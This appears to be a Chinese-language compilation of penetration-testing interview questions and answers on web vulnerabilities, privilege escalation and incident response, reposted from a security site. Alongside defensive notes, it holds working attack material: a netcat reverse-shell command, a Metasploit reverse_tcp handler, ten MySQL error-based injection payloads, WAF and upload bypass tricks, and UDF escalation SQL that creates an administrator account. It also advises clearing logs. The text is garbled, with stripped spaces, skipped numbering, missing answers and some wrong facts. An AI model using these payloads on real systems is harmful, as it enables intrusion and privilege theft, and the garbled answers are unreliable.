网上整理的面试问题大全,有些我们HW面试的题,华盟君收集好了,提供给大家,每年我们将更新一次。现在就是毕业季节,希望各位都能找到好工作。另外建议收藏,最好点个赞。感谢!!!
渗透篇
1、介绍一下自认为有趣的挖洞经历
SQL注入、密码组合,前者防护分为几种,CDN->Web->数据库->主机,设置最小权限来应对。密码组合根据个人习惯
3、php/java反序列化漏洞的原理解决方案
php中围绕着serialize(),unserialize()这两个函数,序列化就是把一个对象变成可以传输的字符串,如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。
JAVAJava序列化是指把Java对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的writeObject()方法可以实现序列化。Java反序列化是指把字节序列恢复为Java对象的过程,ObjectInputStream类的readObject()方法用于反序列化。
4、如果一台服务器被入侵后,你会如何做应急响应
2.初步判断事件类型,事件等级。
3.抑制范围,隔离使爱害面不继续扩大
4.查找原因,封堵攻击源。
5.业务恢复正常水平.
6.总结,报告,并修复、监控
5、你平时使用哪些工具以及对应工具的特点
AWVS、Masscan、BurpSuite
AWVS常规漏洞扫描,masscan快速查找端口,burp重复提交数据包
6、如果遇到waf的情况下如何进行sql注入/上传Webshell怎么做?请写出曾经绕过WAF的经过(SQLi,XSS,上传漏洞选一)
PHP上传,无法上传php、解析、后台没有办法拿到,只有一处点可以上传。通过Windows特性shell.php::$DATA,是一个项目管理系统
7、如何判断sql注入,有哪些方法
提交错误语句是否有异常,除此之外这些显示的错误可以通过sleep,修眠语句执行5秒等,除此之外通过DNSlog判断是还有传回值
8、如何判断SQL注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些?
当程序执行访问新闻等一些操作都会执行到sql语句进行调用,如果在此调用过程中,提交了不合法的数据,而数据库无法识别则会报错。也就是一切输入都是有害的。
注入提交方式:GET、POST、Cookies、文件头
利用方式:具体看什么数据库类型,像SQLSERVER可以命令执行,MYSQL写shell有些权限大也可以执行命令但是条件是在lINUX环境下。
防范:边界,CDN->脚本语言过滤->数据库过滤最小权限->主机
9、为什么有的时候没有错误回显
没有进行错误打印或者错误屏蔽
10、宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造?
在mysql中使用了gbk编码,占用2个字节,而mysql的一种特性,GBK是多字节编码,它认为两个字节就代表一个汉字,所以%df时候会和转义符\%5c进行结合,所以单引号就逃逸了出来,当第一个字节的ascii码大于128,就可以了。
11、CRLF注入的原理
CRLF注入在OWASP里面被称为HTTP拆分攻击(HTTPSplitting)CRLF是”回车+换行”(\r\n)的简称,在HTTP协议中,HTTPHeader与HTTPBody是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行
12、mysql的网站注入,5.0以上和5.0以下有什么区别?
5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
5.0以下是多用户单操作,5.0以上是多用户多操做。
13、php.ini可以设置哪些安全特性
禁用PHP函数
允许include或打开访问远程资源
14、php的%00截断的原理是什么?
因为在C语言中字符串的结束标识符%00是结束符号,而PHP就是C写的,所以继承了C的特性,所以判断为%00是结束符号不会继续往后执行
条件:PHP<5.3.29,且GPC关闭
15、webshell检测,有哪些方法
grep、关键词、关键函数
安全狗、D盾
16、php的LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。手工的话如何发掘?如果无报错回显,你是怎么遍历文件的?
}
包含的文件设置为变量,并且无过滤导致可以调用恶意文件还可以对远程文件包含,但需要开启allow_url_include=ON通过测试参数的地方进行本地文件/etc/passwd等包含如何存在漏洞而且没有回显,有可能没有显示在页面而是在网页源代码中,除些可以利用DNSlog进行获取包含的信息。从index.php文件一级级往读取也可以利用PHP封装协议读取文件
17、说说常见的中间件解析漏洞利用方式
IIS6.0
IIS7.0/7.5
默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析
Nginx
版本小于等于0.8.37,利用方法和IIS7.0/7.5一样,Fast-CGI关闭情况下也可利用。
空字节代码xxx.jpg%00.php
Apache
上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀
18、mysql的用户名密码是存放在那张表里面?mysql密码采用哪种加密方式?
mysql->users
SHA1
19、Windows、Linux、数据库的加固降权思路,任选其一
禁用root
禁止远程访问
禁止写入
单独帐号
禁止执行system等函数
20、你使用什么工具来判断系统是否存在后门
Chkrootkit
Rkhunter
31、如何绕过CDN获取目标网站真实IP,谈谈你的思路?
类似phpinfo、网站信息
C段、子域名
历史解析记录
DDOS
其实这是一个非常大的话题,渗透大部分思路都是如此,而面试官是想听到你回答不一样的答案让人眼前一亮如何才做到让人眼前一亮都需要看你的经验,把你实践的过程拿出来说,以及遇到什么问题如何解决,最终取得成果渗透其它大同小异,而做为渗透者知识的储备、基础扎实、耐心、细心都是必不可少。
23、谈一谈Windows系统与Linux系统提权的思路?
Windows
Windows服务比较多所以方法也如此,最基本的就是Exp提权,数据库SQLServer、MYSQLUDF等、第三方软件提权。
除此之外提权的成功与否和在于信息收集也非常重要,你对这台服务器和管理员了解多少。
windows权限提升(二)
Linux
Linux也是类似,除了EXP或者高版本的内核无法提权之外,通过第三方软件和服务,除了提权也可以考虑把这台机器当跳版,
达到先进入内网安全防线最弱的地方寻找有用的信息,再迂回战术。
linux权限提升
Brief
枚举脚本
以root权限运行的程序
用户安装的软件
弱口令或者明文密码
只能内部访问的服务
suid和guid错误配置
滥用sudo权限
以root权限运行的脚本文件
错误的路径配置
计划任务
未挂载的文件系统
NFS共享
通过键盘记录仪窃取密码
内核提权
24、列举出您所知道的所有开源组件高危漏洞(十个以上)
Tomcat
Hadhoop
Docker
Jenkins
Zenoss
Jboss
MongoDB
Redis
GlassFish
25、反弹shell的常用命令?一般常反弹哪一种shell?为什么?
nc-lvvp7777-e/bin/bash
bash是交互式,否则像useradd无法执行交互
26、CMD命令行如何查询远程终端开放端口
tasklist/svc
netstat-ano
27、服务器为IIS+PHP+MySQL,发现root权限注入漏洞,讲讲你的渗透思路
可以读取IIS信息,知道路径,如果像WAMMP类似构建,通过@@datadir知道数据库路径也可以猜测网站路径。
或者直接写Shell
28、请写出Mysql5数据库中查询库’helloworld’中’users’表所有列名的语句
29、下面这段代码存在漏洞吗?如果存在请说出存在什么漏洞并利用
$s_func($info); > 代码执行,通过assert调用 30、udf提权 MySQL可以自定义函数,通过自定义函数做到类似xp_cmdshell效果 31、SQL头注入点 UserAgent Referer Cookie X-FOR-I 32、php中命令执行涉及到的函数 eval() assert() system() exec() shell_exec() 33、SSRF漏洞的成因防御绕过 模拟服务器对其它资源进行请求IP探测,如果想漏洞利用必需要构造好Payload禁止跳转,限制协议,内外网限制,URL限制针对IP格式 34、mysql写shell有几种方法 outfile、dumpfile、开启log写webshell 35、Metasploit打开反向监听的命令 useexploit/multi/handler setpayloadwindows/meterpreter/reverse_tcp 36、应急响应的步骤 1.准备已经编译好的工具以及取证分析等工具干净可靠放U盘 2.初步判断事件的类型,是被入侵、ddos还是其它的原因 3.首先抑制范围、影响范围,隔离使受害面不继续扩大。 4.寻找原因,封堵攻击源。 5.把业务恢复至正常水平 6.监控有无异常,报告、管理环节的自省和改进措施。 37、有哪些反向代理的工具 reGeirg、EW、lcx、Ngrok、frp 38、有什么比较曲折的渗透经历 这个问题想知道你工作渗透到什么样的程度,只是简单的漏扫搬砖,还是有毅力坚持完成整个渗透,如:对目标不放弃,坚持一个月最终通过各种手段,曲折的过程拿下目标。 39、UpdateTime:2019.5.11 怎么查找域控 方法有很多 1.通过DNS查询 dig-tSRV_gc._tcp.lab.ropnop.com dig-tSRV_ldap._tcp.lab.ropnop.com dig-tSRV_kerberos._tcp.lab.ropnop.com dig-tSRV_kpasswd._tcp.lab.ropnop.com 2.端口扫描 域服务器都会开启389端口,所以可以通过扫描端口进行识别。 3.其实很多域环境里,DNS服务器就是域控制根本不需要怎么找。 4.各种命令 dsquery nltest/DCLIST:pentest.com 前端篇 1、什么是同源策略 源就是主机、协议、端口名的一个三元组同源策略(SameOriginPolicy,SOP)是Web应用程序的一种安全模型,被广泛地应用在处理WEB内容的各种客户端上,比如各大浏览器,微软的Silverlight,Adobe的Flash/Acrobat等等。 2、XSS能用来做什么? 3、XSS的三种类型,防御方法 反射型、DomBaseXSS、存储型防御方法这个只能说个大概,毕竟这是一个比较大的话题,而且防御的方法还得看所在的业务等。从网络层、主机层、Web层、数据库,通过CDN都有过滤常见一些攻击手法,但不能有CDN就以为可以了,添加CDN只是让攻击成本增高,开启HttpOnly,以防确实存在避免cookies被获取,CSP策略、再就是语言中提供的函数对输入过滤,以及输出编码以及ModSecurity类的防火墙。 4、存储型xss原理 如网站留言版,把插入的记录存储在数据库中,插入的代码会一直留在页面上,当其它用户访问会从数据库中读取并触发漏洞。 5、你怎么理解xss攻击? 6、如何快速发现xss位置? 各种输入的点,名称、上传、留言、可交互的地方,一切输入都是在害原则。 7、Domxss原理/防范 DOM型XSS并不需要服务器解析响应的直接参与触发XSS靠的是浏览器DOM解析DOM—basedXSS漏洞是基于文档对象模型DocumentObjeetModel,DOM)的一种漏洞。 在输入点过滤敏感关键字 8、DOM型XSS与反射型XSS区别? DOM型就是JavaScript中的Document对象HTML注入,直接浏览器处理。 9、如何使得前端referer为空 通过地址栏输入、从书签里面选择或者浏览器的插件BurpSuite修改。 10、cookie参数,security干什么的 Httponly:防止cookie被xss偷 Path:区分cookie的标识,安全上作用不大,和浏览器同源冲突 11、如果SRC上报了一个XSS漏洞,payload已经写入页面,但未给出具体位置,如何快速介入? 看是否什么类型的XSS,XSS反射型看提交的地址,指的参数是哪个位置,通过这个页面进行fuzzing测试。如果是存储型页面查找关键字。 12、XSS,CSRF,CRLF比较容易弄混,说说三者的原理,防御方法 CSRF跨站请求伪造,构靠已知的所有参数让对方访问, 防护CSRF:防御原理:不让你那么容易伪造请求(cookie中加入随机数,要求请求中带上,而攻击者获取不到cookie中的随机数,验证HTTPReferer字段,在请求地址中添加takon验证 CRLF原理: HTTP拆分攻击(HTTPSplitting),CRLF是”回车+换行”(\r\n)的简称。 在HTTP协议中,HTTPHeader与HTTPBody是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLFInjection又叫HTTPResponseSplitting,简称HRS。 13、csrf如何不带referer访问 通过地址栏,手动输入;从书签里面选择;通过实现设定好的手势。上面说的这三种都是用户自己去操作,因此不算CSRF。 14、CSRF成因及防御措施;如果不用token如何做防御? X-Frame-Options DENY(禁止被加载进任何frame) SAMEORIGIN(仅允许被加载进同域内的frame) X-XSS-Protection 0(表示禁止用这个策略) 1(默认,对危险脚本做一些标志或修改,以阻止在浏览器上熏染执行。) 1;mode=block(强制不熏染,在Chrome下直接跳转到空白页,在IE下返回一个#符号) 这个策略仅针对反射型,对付不了存储型XSS,能识别出反射型是因为提交请求的URL中带有可疑的XSS代码片段。 X-Content-Security-Policy 15、Xssworm原理 攻击者发现目标网站存在XSS漏洞,并且可以编写XSS蠕虫。利用一个宿主(如博客空间)作为传播源头进行XSS攻击。 16、Cookie的P3P性质 HTTP响应头的p3字段是W3C公布的一项隐私保护推荐标准,该字段用于标识是否允许目标网站的cookie被另一个域通过加载目标网站而设置或发送,仅IE执行了该策略。 17、CSRF有何危害? 篡改目标网站上的用户数据盗取用户隐私数据传播CSRF蠕 一、思路流程 1、信息收集 b、网站指纹识别(包括,cms,cdn,证书等),dns记录 e、子域名收集,旁站,C段等 f、googlehacking针对化搜索,pdf文件,中间件版本,弱口令扫描等 g、扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等 h、传输协议,通用漏洞,exp,github源码等 2、漏洞挖掘 a、浏览网站,看看网站规模,功能,特点等 b、端口,弱口令,目录等扫描,对响应的端口进行漏洞探测,比如rsync,心脏出血,mysql,ftp,ssh弱口令等。 3、漏洞利用&权限提升 a、mysql提权,serv-u提权,oracle提权 b、windows溢出提权 c、linux脏牛,内核漏洞提权e 4、清除测试数据&输出报告 日志、测试数据的清理总结,输出渗透测试报告,附修复方案 5、复测 验证并发现是否有新漏洞,输出报告,归档 二、问题 1、拿到一个待检测的站,你觉得应该先做什么? b、查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。 c、查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞 d、查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如rsync,心脏出血,mysql,ftp,ssh弱口令等。 e、扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针f、googlehack进一步探测网站的信息,后台,敏感文件 漏洞扫描开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等 漏洞利用利用以上的方式拿到webshell,或者其他权限 权限提升提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,linux脏牛漏洞,linux内核版本漏洞提权,linux下的mysqlsystem提权以及oracle低权限提权 日志清理 总结报告及修复方案 2、判断出网站的CMS对渗透有什么意义? 查找网上已曝光的程序漏洞。 如果开源,还能下载相对应的源码进行代码审计。 3.一个成熟并且相对安全的CMS,渗透时扫目录的意义? 敏感文件、二级目录扫描 站长的误操作比如:网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点 4.常见的网站服务器容器。 5.mysql注入点,用工具对目标站直接写入一句话,需要哪些条件? root权限以及网站的绝对路径。 6.目前已知哪些版本的容器有解析漏洞,具体举例。 b、IIS7.0/7.5默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析 c、Nginx版本小于等于0.8.37,利用方法和IIS7.0/7.5一样,Fast-CGI关闭情况下也可利用。空字节代码xxx.jpg.php d、Apache上传的文件命名为:test.php.x1.x2.x3,Apache是从右往左判断后缀 7.如何手工快速判断目标站是windows还是linux服务器? linux大小写敏感,windows大小写不敏感。 8.为何一个mysql数据库的站,只有一个80端口开放? 更改了端口,没有扫描出来。 站库分离。 3306端口不对外开放 9、3389无法连接的几种情况 没开放3389端口端口被修改防护拦截处于内网(需进行端口转发) 10.如何突破注入时字符被转义? 宽字符注入hex编码绕过 11.在某后台新闻编辑界面看到编辑器,应该先做什么? 查看编辑器的名称版本,然后搜索公开的漏洞。 12.拿到一个webshell发现网站根目录下有.htaccess文件,我们能做什么? 具体其他的事情,不好详说,建议大家自己去搜索语句来玩玩。 13.注入漏洞只能查账号密码? 只要权限广,拖库脱到老。 14.安全狗会追踪变量,从而发现出是一句话木马吗? 是根据特征码,所以很好绕过了,只要思路宽,绕狗绕到欢,但这应该不会是一成不变的。 **15.access扫出后缀为asp的数据库文件,访问乱码,**如何实现到本地利用? 迅雷下载,直接改后缀为.mdb。 16.提权时选择可读写目录,为何尽量不用带空格的目录? 因为exp执行多半需要空格界定参数 17.某服务器有站点A,B为何在A的后台添加test用户,访问B的后台。发现也添加上了test用户? 同数据库。 18.注入时可以不使用and或or或xor,直接orderby开始注入吗? and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。 19:某个防注入系统,在注入时会提示: 20、如何利用这个防注入系统拿shell? 在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了这个时候可以尝试寻找网站的配置文件直接上菜刀链接。 21.上传大马后访问乱码时,有哪些解决办法? 浏览器中改编码。 22.审查上传点的元素有什么意义? 有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。 23.目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用? 先爆破用户名,再利用被爆破出来的用户名爆破密码。其实有些站点,在登陆处也会这样提示所有和数据库有交互的地方都有可能有注入。 这就是传说中的下载漏洞!在file=后面尝试输入index.php下载他的首页文件,然后在首页文件里继续查找其他网站的配置文件,可以找出网站的数据库密码和数据库的地址。 25.甲给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和admin目录。请问你的想法是? 直接在网站二级目录/abc/下扫描敏感文件及目录。 26.在有shell的情况下,如何使用xss实现对目标站的长久控制? 27.后台修改管理员密码处,原密码显示为*。你觉得该怎样实现读出这个用户的密码? 审查元素把密码处的password属性改成text就明文显示了 28.目标站无防护,上传图片可以正常访问,上传脚本格式访问则403.什么原因? 原因很多,有可能web服务器配置把上传目录写死了不执行相应脚本,尝试改后缀名绕过 29.审查元素得知网站所使用的防护软件,你觉得怎样做到的? 在敏感操作被拦截,通过界面信息无法具体判断是什么防护的时候,F12看HTML体部比如护卫神就可以在名称那看到内容。 30.在win2003服务器中建立一个.zhongzi文件夹用意何为? 隐藏文件夹,为了不让管理员发现你传上去的工具。 31、sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由: A.demo.jspid=2+1B.demo.jspid=2-1选B,在URL编码中+代表空格,可能会造成混淆 32、以下链接存在sql注入漏洞,对于这个变形注入,你有什么思路? demo.doDATA=AjAxNg==DATA有可能经过了base64编码再传入服务器,所以我们也要对参数进行base64编码才能正确完成测试 33、发现demo.jspuid=110注入点,你有哪几种思路获取webshell,哪种是优选? 34、CSRF和XSS和XXE有什么区别,以及修复方式? XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTPOnly来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。 35、CSRF、SSRF和重放攻击有什么区别? CSRF是跨站请求伪造攻击,由客户端发起SSRF是服务器端请求伪造,由服务器发起重放攻击是将截获的数据包进行重放,达到身份认证等目的 36、说出至少三种业务逻辑漏洞,以及修复方式? 密码找回漏洞中存在 1)密码允许暴力破解、 2)存在通用型找回凭证、 3)可以跳过验证步骤、 4)找回凭证可以拦包获取 等方式来通过厂商提供的密码找回功能来得到密码。身份认证漏洞中最常见的是 1)会话固定攻击 2)Cookie仿冒 只要得到Session或Cookie即可伪造用户身份。验证码漏洞中存在 1)验证码允许暴力破解 2)验证码可以通过Javascript或者改包的方法来进行绕过 37、圈出下面会话中可能存在问题的项,并标注可能会存在的问题? 40、nmap,扫描的几种方式 41、sql注入的几种类型?1)报错注入2)bool型注入3)延时注入4)宽字节注入42、报错注入的函数有哪些?10个 1)andextractvalue(1,concat(0x7e,(select@@version),0x7e))】】】2)通过floor报错向下取整3)+andupdatexml(1,concat(0x7e,(secect@@version),0x7e),1)4).geometrycollection()selectfromtestwhereid=1andgeometrycollection((selectfrom(selectfrom(selectuser())a)b));5).multipoint()selectfromtestwhereid=1andmultipoint((selectfrom(selectfrom(selectuser())a)b));6).polygon()selectfromtestwhereid=1andpolygon((selectfrom(selectfrom(selectuser())a)b));7).multipolygon()selectfromtestwhereid=1andmultipolygon((selectfrom(selectfrom(selectuser())a)b));8).linestring()selectfromtestwhereid=1andlinestring((selectfrom(selectfrom(selectuser())a)b));9).multilinestring()selectfromtestwhereid=1andmultilinestring((selectfrom(selectfrom(selectuser())a)b));10).exp()selectfromtestwhereid=1andexp(~(select*from(selectuser())a));43、延时注入如何来判断? if(ascii(substr(“hello”,1,1))=104,sleep(5),1)44、盲注和延时注入的共同点? 都是一个字符一个字符的判断 45、如何拿一个网站的webshell?上传,后台编辑模板,sql注入写文件,命令执行,代码执行,一些已经爆出的cms漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等 46、sql注入写文件都有哪些函数? 48、owasp漏洞都有哪些?1)SQL注入防护方法:2)失效的身份认证和会话管理3)跨站脚本攻击XSS4)直接引用不安全的对象5)安全配置错误6)敏感信息泄露7)缺少功能级的访问控制8)跨站请求伪造CSRF9)使用含有已知漏洞的组件10)未验证的重定向和转发 50、代码执行,文件读取,命令执行的函数都有哪些? 1)代码执行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function2)文件读取:file_get_contents(),highlight_file(),fopen(),readfile(),fread(),fgetss(),fgets(),parse_ini_file(),show_source(),file()等3)命令执行:system(),exec(),shell_exec(),passthru(),pcntl_exec(),popen(),proc_open()51、img标签除了onerror属性外,还有其他获取管理员路径的办法吗?src指定一个远程的脚本文件,获取referer 52、img标签除了onerror属性外,并且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径。 53、为什么aspx木马权限比asp大? aspx使用的是.net技术。IIS中默认不支持,ASP只是脚本语言而已。入侵的时候asp的木马一般是guest权限…APSX的木马一般是users权限。 54、如何绕过waf? 大小写转换法干扰字符/*!*/编码base64unicodehexurlascll复参数55、如何向服务器写入webshell? a、web类(web漏洞/敏感目录)第三方通用组件漏洞strutsthinkphpjbossgangliazabbix 80web80-89web8000-9090webb、数据库类(扫描弱口令) 21ftp22SSH23Telnet2601,2604zebra路由,默认密码zebra3389远程桌面ALL、端口合计详情 四、SQL注入防护 五、为什么参数化查询可以防止SQL注入 原理: 使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行,是在数据库完成sql指令的编译后才套用参数运行 简单的说:参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑 六、SQL头注入点 UAREFERERCOOKIEIP七、盲注是什么?怎么盲注? 八、宽字节注入产生原理以及根本原因 1、产生原理 2、在哪里编码 3、根本原因 character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)不同,或转换函数如,iconv、mb_convert_encoding使用不当。 4、解决办法 统一数据库、Web应用、操作系统所使用的字符集,避免解析产生差异,最好都设置为UTF-8。或对数据进行正确的转义,如mysql_real_escape_string+mysql_set_charset的使用。 5、SQL里面只有update怎么利用 先理解这句SQL UPDATEuserSETpassword='MD5($password)',homepage='$homepage'WHEREid='$id'如果此SQL被修改成以下形式,就实现了注入 之后SQL语句变为 b、修改password值为mypass)'WHEREusername='admin'# UPDATEuserSETpassword='MD5(mypass)'WHEREusername='admin'#)',homepage='$homepage'WHEREid='$id'c、修改id值为'ORusername='admin'之后SQL语句变为 UPDATEuserSETpassword='MD5($password)',homepage='$homepage'WHEREid=''ORusername='admin'九、SQL如何写shell/单引被过滤怎么办 写shell:root权限,GPC关闭,知道文件路径outfile函数 1、代替空格的方法 %0a、%0b、%a0等/**/等注释符<>2、mysql的网站注入,5.0以上和5.0以下有什么区别 十、XSS 1、XSS原理 反射型 用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。需要诱使用户“点击”一个恶意链接,才能攻击成功 存储型 存储型XSS会把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。 DOM型 通过修改页面的DOM节点形成的XSS,称之为DOMBasedXSS。 2、DOM型和反射型的区别 反射型XSS:通过诱导用户点击,我们构造好的恶意payload才会触发的XSS。反射型XSS的检测我们在每次请求带payload的链接时页面应该是会带有特定的畸形数据的。DOM型:通过修改页面的DOM节点形成的XSS。DOM-basedXSS由于是通过js代码进行dom操作产生的XSS,所以在请求的响应中我们甚至不一定会得到相应的畸形数据。根本区别在我看来是输出点的不同。 3、DOM型和XSS自动化测试或人工测试 在回答这段问题的时候,由于平时对客户的检测中,基本是凭借不同功能点的功能加上经验和直觉来进行检测,对不同类型的XSS检测方式实际上并没有太过细分的标准化检测方式,所以回答的很烂。。。 4、如何快速发现XSS位置 5、对于XSS怎么修补建议 输入点检查:对用户输入的数据进行合法性检查,使用filter过滤敏感字符或对进行编码转义,针对特定类型数据进行格式检查。针对输入点的检查最好放在服务器端实现。 除此之外,还有做HTTPOnly对Cookie劫持做限制。 6、XSS蠕虫的生产条件 正常情况下,一个是产生XSS点的页面不属于self页面,用户之间产生交互行为的页面,都可能造成XSSWorm的产生。不一定需要存储型XSS 十一、CSRF 1、CSRF原理 CSRF是跨站请求伪造攻击,由客户端发起,是由于没有在关键操作执行时进行是否由用户自愿发起的确认 2、防御 验证Referer添加token 3、token和referer做横向对比,谁安全等级高? token安全等级更高,因为并不是任何服务器都可以取得referer,如果从HTTPS跳到HTTP,也不会发送referer。并且FLASH一些版本中可以自定义referer。但是token的话,要保证其足够随机且不可泄露。(不可预测性原则) 4、对referer的验证,从什么角度去做?如果做,怎么杜绝问题 对header中的referer的验证,一个是空referer,一个是referer过滤或者检测不完善。为了杜绝这种问题,在验证的白名单中,正则规则应当写完善。 5、针对token,对token测试会注意哪方面被人,会对token的哪方面进行测试? 引用一段请教前辈的回答: SSRF(Server-SideRequestForgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统) SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。 1、监测 SSRF漏洞的验证方法: 1)因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞 2)在页面源码中查找访问的资源地址,如果该资源地址类型为www.baidu.com/xxx.phpimage=(地址)的就可能存在SSRF漏洞4[1] 2、SSRF漏洞的成因防御绕过 成因:模拟服务器对其他服务器资源进行请求,没有做合法性验证。利用:构造恶意内网IP做探测,或者使用其余所支持的协议对其余服务进行攻击。防御:禁止跳转,限制协议,内外网限制,URL限制。绕过:使用不同协议,针对IP,IP格式的绕过,针对URL,恶意URL增添其他字符,@之类的。301跳转+dnsrebindding。 十二、上传 1、文件上传漏洞原理 由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件 2、常见的上传绕过方式 前端js验证:禁用js/burp改包大小写双重后缀名过滤绕过pphphp->php 3、防护 文件上传目录设置为不可执行使用白名单判断文件上传类型用随机数改写文件名和路径 4、审查上传点的元素有什么意义? 十三、文件包含 1、原理 引入一段用户能控制的脚本或代码,并让服务器端执行include()等函数通过动态变量的方式引入需要包含的文件;用户能够控制该动态变量。 2、导致文件包含的函数 PHP:include(),include_once(),require(),re-quire_once(),fopen(),readfile(),…JSP/Servlet:ava.io.File(),java.io.Fil-eReader(),…ASP:includefile,includevirtual, 3、本地文件包含 能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞 十四、逻辑漏扫 1、金融行业常见逻辑漏洞 单针对金融业务的主要是数据的篡改(涉及金融数据,或部分业务的判断数据),由竞争条件或者设计不当引起的薅羊毛,交易/订单信息泄露,水平越权对别人的账户查看或恶意操作,交易或业务步骤绕过。 十五、中间人攻击 中间人攻击是一个(缺乏)相互认证的攻击;由于客户端与服务器之间在SSL握手的过程中缺乏相互认证而造成的漏洞 防御中间人攻击的方案通常基于一下几种技术 1.公钥基础建设PKI使用PKI相互认证机制,客户端验证服务器,服务器验证客户端;上述两个例子中都是只验证服务器,这样就造成了SSL握手环节的漏洞,而如果使用相互认证的的话,基本可以更强力的相互认证 2.延迟测试 使用复杂加密哈希函数进行计算以造成数十秒的延迟;如果双方通常情况下都要花费20秒来计算,并且整个通讯花费了60秒计算才到达对方,这就能表明存在第三方中间人。 3.使用其他形式的密钥交换形式 ARP欺骗 原理 每台主机都有一个ARP缓存表,缓存表中记录了IP地址与MAC地址的对应关系,而局域网数据传输依靠的是MAC地址。在ARP缓存表机制存在一个缺陷,就是当请求主机收到ARP应答包后,不会去验证自己是否向对方主机发送过ARP请求包,就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中,如果原有相同IP对应关系,原有的则会被替换。这样攻击者就有了偷听主机传输的数据的可能 防护 1.在主机绑定网关MAC与IP地址为静态(默认为动态),命令:arp-s网关IP网关MAC 2.在网关绑定主机MAC与IP地址 3.使用ARP防火墙 十六、DDOS 1、DDOS原理 利用合理的请求造成资源过载,导致服务不可用 syn洪流的原理 伪造大量的源IP地址,分别向服务器端发送大量的SYN包,此时服务器端会返回SYN/ACK包,因为源地址是伪造的,所以伪造的IP并不会应答,服务器端没有收到伪造IP的回应,会重试3~5次并且等待一个SYNTime(一般为30秒至2分钟),如果超时则丢弃这个连接。攻击者大量发送这种伪造源地址的SYN请求,服务器端将会消耗非常多的资源(CPU和内存)来处理这种半连接,同时还要不断地对这些IP进行SYN+ACK重试。最后的结果是服务器无暇理睬正常的连接请求,导致拒绝服务。 CC攻击原理 对一些消耗资源较大的应用页面不断发起正常的请求,以达到消耗服务端资源的目的。 2、DOSS防护 十七、提权 MySQL两种提权方式 udf提权,mof提权 MySQL_UDF提取 要求:1.目标系统是Windows(Win2000,XP,Win2003);2.拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数3.有root账号密码导出udf:MYSQL5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数可以再mysql里输入select@@basedirshowvariableslike‘%plugins%’寻找mysql安装路径提权: 使用SQL语句创建功能函数。语法:CreateFunction函数名(函数名只能为下面列表中的其中之一)returnsstringsoname‘导出的DLL路径’; createfunctioncmdshellreturnsstringsoname‘udf.dll’selectcmdshell(‘netuserarscharsch/add’);selectcmdshell(‘netlocalgroupadministratorsarsch/add’);dropfunctioncmdshell;该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。 MySQLmof提权 